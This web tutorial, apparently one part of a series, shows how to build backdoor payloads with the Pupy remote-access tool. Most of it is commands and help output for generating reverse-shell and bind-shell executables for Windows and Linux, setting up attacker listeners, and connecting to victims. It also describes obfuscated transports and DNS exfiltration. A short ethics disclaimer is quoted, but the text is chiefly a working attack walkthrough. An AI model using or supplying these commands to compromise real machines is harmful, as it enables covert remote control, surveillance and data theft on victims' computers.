Pupy manual: how to create a backdoor

To generate a working payload, we need a clear understanding of how and what works, and before starting work you need to understand terms like:

  • transports
  • launchers
  • listeners
  • payloads


Transport is how (using what protocols and technologies) the server and the client transfer information between themselves.

The following options are available:

  • ssl (the default one): TCP transport wrapped with SSL.
  • rsa: Authentication & encryption using RSA and AES256, often stacked with other layers.
  • ssl_rsa: Same as ssl but stacked with a rsa layer.
  • websocket:
  • aes: Use of a static AES256 key.
  • http: Making the traffic looking like basic HTTP + stacked with a rsa layer.
  • obfs3: A protocol to keep a third party from telling what protocol is in use based on message contents. Obfs3 is stacked with a rsa layer for a better security
  • scramblesuit: A Polymorphic Network Protocol to Circumvent Censorship. Scramblesuit is stacked with a rsa layer for a better security.
  • udp: Rsa layer but over UDP (could be buggy, it doesn't handle packet loss yet).
  • other: Layers without really interest and are given for code examples : (dummy, base64, XOR, …).


Launchers allow pupy to run custom actions before launching a reverse connection.

  • connect: A connection is being made from the remote computer to the attacker.
  • bind: The remote computer starts listening on the port while waiting for a connection to it.
  • auto_proxy: Get a list of possible SOCKS/HTTP proxies and try each one of them. Proxy extraction methods: registry, WPAD requests, gnome settings, variable env HTTP_PROXY
  • dnscnc: DNS exfiltration

Launcher connect is commonly called the Reverse Shell. And bind is what is usually called just Shell.


Listeners (listeners) – are used with connect, that is, with Reverse Shell, when you need to wait for a connection from a remote computer.

If bind is selected as the launcher, then we do not need a listener in our session – we just need to connect to the remote system right away.

Listeners should get two parameters at startup:

  • port to which sub-wiring will be made
  • transport that uses payload

By default, the launcher tries to listen on port 443 using the ssl transport. This configuration can be changed in the pupy.conf file. How to add your own listeners will be described below.

Payload format

Pupy can create files for various operating systems: Windows, Linux, OSX, Android. Various processor architectures are supported (64-bit and 32-bit). When creating a payload, you need to specify this data in the parameters. This primarily refers to executable files — that is, for executable files, you need to specify, for example, that the backdoor should be running in the Windows operating system with a 64-bit processor architecture.

Pupy is able to create not only executable files, but also other formats, namely:

  • client: executable files to run on the target machine (.exe, .dll, .lin, .so).
  • py: python file.
  • pyinst: python file ready for use with pyinstaller.
  • py_oneliner: python oneliner (i.e., executable code on one line) (starts the listening server in the background)
  • ps1: powershell file.
  • ps1_oneliner: powershell oneliner (starts the listening server in the background).
  • rubber_ducky: useful with rubber ducky.

The payload can be generated in two ways: using a separate pupygen.py file, or by running Pupy and using the command in the console


You can choose any option – these methods have identical launch options. I will show you the example of working in the Pupy session, so I start by running this program.

How to launch Pupy

In the article about installing Pupy, I talked about two installation options and recommended the first one. Starting a Pupy session varies depending on the installation method. When installed directly into the system, the session starts like this:

export PATH=$PATH:~/.local/bin; pupysh

When you first start, keys and certificates, that are used in the program to encrypt connections to remote systems, are generated:

They are saved to the /root/.config/pupy/crypto/credentials.py file.

The program also says:

The usage of this software to access any system,
service, or network without the owner's consent is
expressly forbidden.
Please follow https://www.eccouncil.org/code-of-ethics/

gen options

As mentioned above, gen (and pupygen.py) are used to generate payload and they have the same options. Consider them.


gen [-h]
                 [-f {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky,csharp,.NET,.NET_oneliner}]
                 [-O {android,windows,linux,solaris}] [-A {x86,x64}] [-U]
                 [-P PACKER] [-S] [-o OUTPUT]
                 [-d < ATTEMPTS > < MIN SEC > < MAX SEC >] [-D OUTPUT_DIR]
                 [-s SCRIPTLET] [-l] [-E] [--no-use-proxy]
                 [--oneliner-nothidden] [--debug-scriptlets] [--debug]
                 [--workdir WORKDIR]
                 [{bind,auto_proxy,dnscnc,connect}] ...


positional arguments:
                        Choose a launcher. Launchers make payloads behave
                        differently at startup.
  launcher_args         launcher options

optional arguments:
  -h, --help            show this help message and exit
  -f {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky,csharp,.NET,.NET_oneliner}, --format {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky,csharp,.NET,.NET_oneliner}
                        (default: client)
  -O {android,windows,linux,solaris}, --os {android,windows,linux,solaris}
                        Target OS (default: windows)
  -A {x86,x64}, --arch {x86,x64}
                        Target arch (default: x86)
  -U, --uncompressed    Use uncompressed template
  -P PACKER, --packer PACKER
                        Use packer when 'client' output format (default: )
  -S, --shared          Create shared object
  -o OUTPUT, --output OUTPUT
                        output filename
  -d <ATTEMPTS> <MIN SEC> <MAX SEC>, --delays-list <ATTEMPTS> <MIN SEC> <MAX SEC>
                        Format: <max attempts> <min delay (sec)> <max delay
  -D OUTPUT_DIR, --output-dir OUTPUT_DIR
                        output folder (default: /root/.config/pupy/output)
  -s SCRIPTLET, --scriptlet SCRIPTLET
                        offline python scriptlets to execute before starting
                        the connection. Multiple scriptlets can be privided.
  -l, --list            list available formats, transports, scriptlets and
  -E, --prefer-external
                        In case of autodetection prefer external IP
  --no-use-proxy        Don't use the target's proxy configuration even if it
                        is used by target (for ps1_oneliner only for now)
  --oneliner-nothidden  Powershell script not hidden target side (default:
  --debug-scriptlets    don't catch scriptlets exceptions on the client for
                        debug purposes
  --debug               build with the debug template (the payload open a
  --workdir WORKDIR     Set Workdir (Default = current workdir)

As you can see, some values are set by default. If you run the command


without any options, the payload will be generated, it will take the following values as default values:

  • payload format: client
  • launcher: connect (i.e. reverse shell to our machine)
  • as the IP address is taken automatically determined by our address
  • port for connection: 443
  • platform: windows/x86
  • transport: ssl

But we, of course, can reconfigure all these options with our parameters.

All options are discussed above, so it makes no sense to explain the commands in detail – if you find something incomprehensible to them, then return to their description.

Let's start by creating a reverse shell – in this case, the remote computer (“Victim”) is connected to the “Attacker” computer. Therefore, when creating a payload, you need to specify the IP address to which the Victim should connect. For example, the IP addresses of their interfaces can be viewed with the command

ip a

I will do tests on the local network, the Attacker's computer has a local address of – so I will use it, and you should replace it with your value.

To create a reverse shell for the 64-bit Windows platform that will connect to port 43210 at the IP address using the http transport:

gen -f client -O windows -A x64 connect --host -t http

Everything is ready:

File successfully created and saved by the path /root/.config/pupy/output/pupyx64.KrN0Qe.exe

Rename and copy it to a closer path:

!cp /root/.config/pupy/output/pupyx64.KrN0Qe.exe /root/reverse.exe

Since a connection to our computer will be made from a remote computer, before running the newly created file on the target system, we need to create a listener that will wait to connect to it.

By the way, when you start Pupy, one listener starts automatically, say this line:

[*] Listen: ssl: 443

That is, there is a listener for ssl transport on port 443.

New listeners are created, deleted and shown with the listen command.

Creating listeners


listen [-h] [-l | -L | -a TRANSPORT [TRANSPORT_ARG1 ...] | -A TRANSPORT
              [TRANSPORT_ARG1 ...] | -r TRANSPORT]

Optional arguments:

optional arguments:
  -h, --help            show this help message and exit
  -l, --list            show current listeners
  -L, --list-transports
                        show available transports
                        start listener
                        start listener (ignore pproxy)
                        stop listener

Since for my payload I chose the http transport, and indicated 43210 as the port, the listener in my case starts like this:

listen -a http 43210

The general view of the command is:



[+] Listen: http: 43210

Says that everything went well.

Let's list all listeners:

listen -l

Everything is ready – now I transfer the file with the payload to the target system and run it there.

A few seconds after the launch, the attacker’s computer will be connected to and the following information will appear:

[*] Session 1 opened (Alex@DESKTOP-IGFN39T) (('', 43210) <-

We will move on to managing sessions, executing commands on a remote machine, and exploiting in the next section. In the meantime, consider a few more popular examples of payload generation.

Backdoor for Windows

To create a shell that will open port 54321 for 64-bit Windows and wait for a connection from the remote computer via the http transport, run the following command:

gen -f client -O windows -A x64 bind --port 54321 -t http

In this case, we do not specify an IP address, since this payload is not connected anywhere. But we specify the port – this port will be opened on the computer of the Victim, waiting for the Attacker to connect.

Backdoor connection

To connect, use the connect command. Consider its options.


connect [-h] -c <host:port>
               [-t {obfs3,http,ssl,ecm,tcp_cleartext,dfws,rsa,udp_secure,kc4,ec4,ws,scramblesuit,udp_cleartext,ssl_rsa}]

Connect options

positional arguments:
  transport_args        Transport arguments: key=value key=value ...

optional arguments:
  -h, --help            show this help message and exit
  -c <host:port>, --host <host:port>
                        host:port of the pupy server to connect to. You can
                        provide multiple --host arguments to attempt to
                        connect to multiple IPs
  -t {obfs3,http,ssl,ecm,tcp_cleartext,dfws,rsa,udp_secure,kc4,ec4,ws,scramblesuit,udp_cleartext,ssl_rsa}, --transport {obfs3,http,ssl,ecm,tcp_cleartext,dfws,rsa,udp_secure,kc4,ec4,ws,scramblesuit,udp_cleartext,ssl_rsa}
                        The transport to use

As you can see, be sure to specify the IP and port connections. Transpor can be omitted.

By the way, in Windows, the IP address can be found with the command

ipconfig /all

To connect to port 54321 of the host

connect -c

How to create backdoor for Linux

For Linux, you can also create a reverse shell and a regular shell.

To create a reverse shell:

gen -f client -O linux -A x64 connect --host -t http

The listener runs exactly as shown above:

listen -a http 44445

To create a backdoor that will wait for a connection from us:

gen -f client -O linux -A x64 bind --port 44446 -t http

To connect to it:

connect -c localhost:44446

So, in this part we learned how to create a payload and connect to the backdoor.

In the next part, we will look at how to execute commands on a remote system.

Continued in the next part: How to manage computers via backdoor.

Last Updated on

Recommended for you:

Leave a Reply

Your email address will not be published.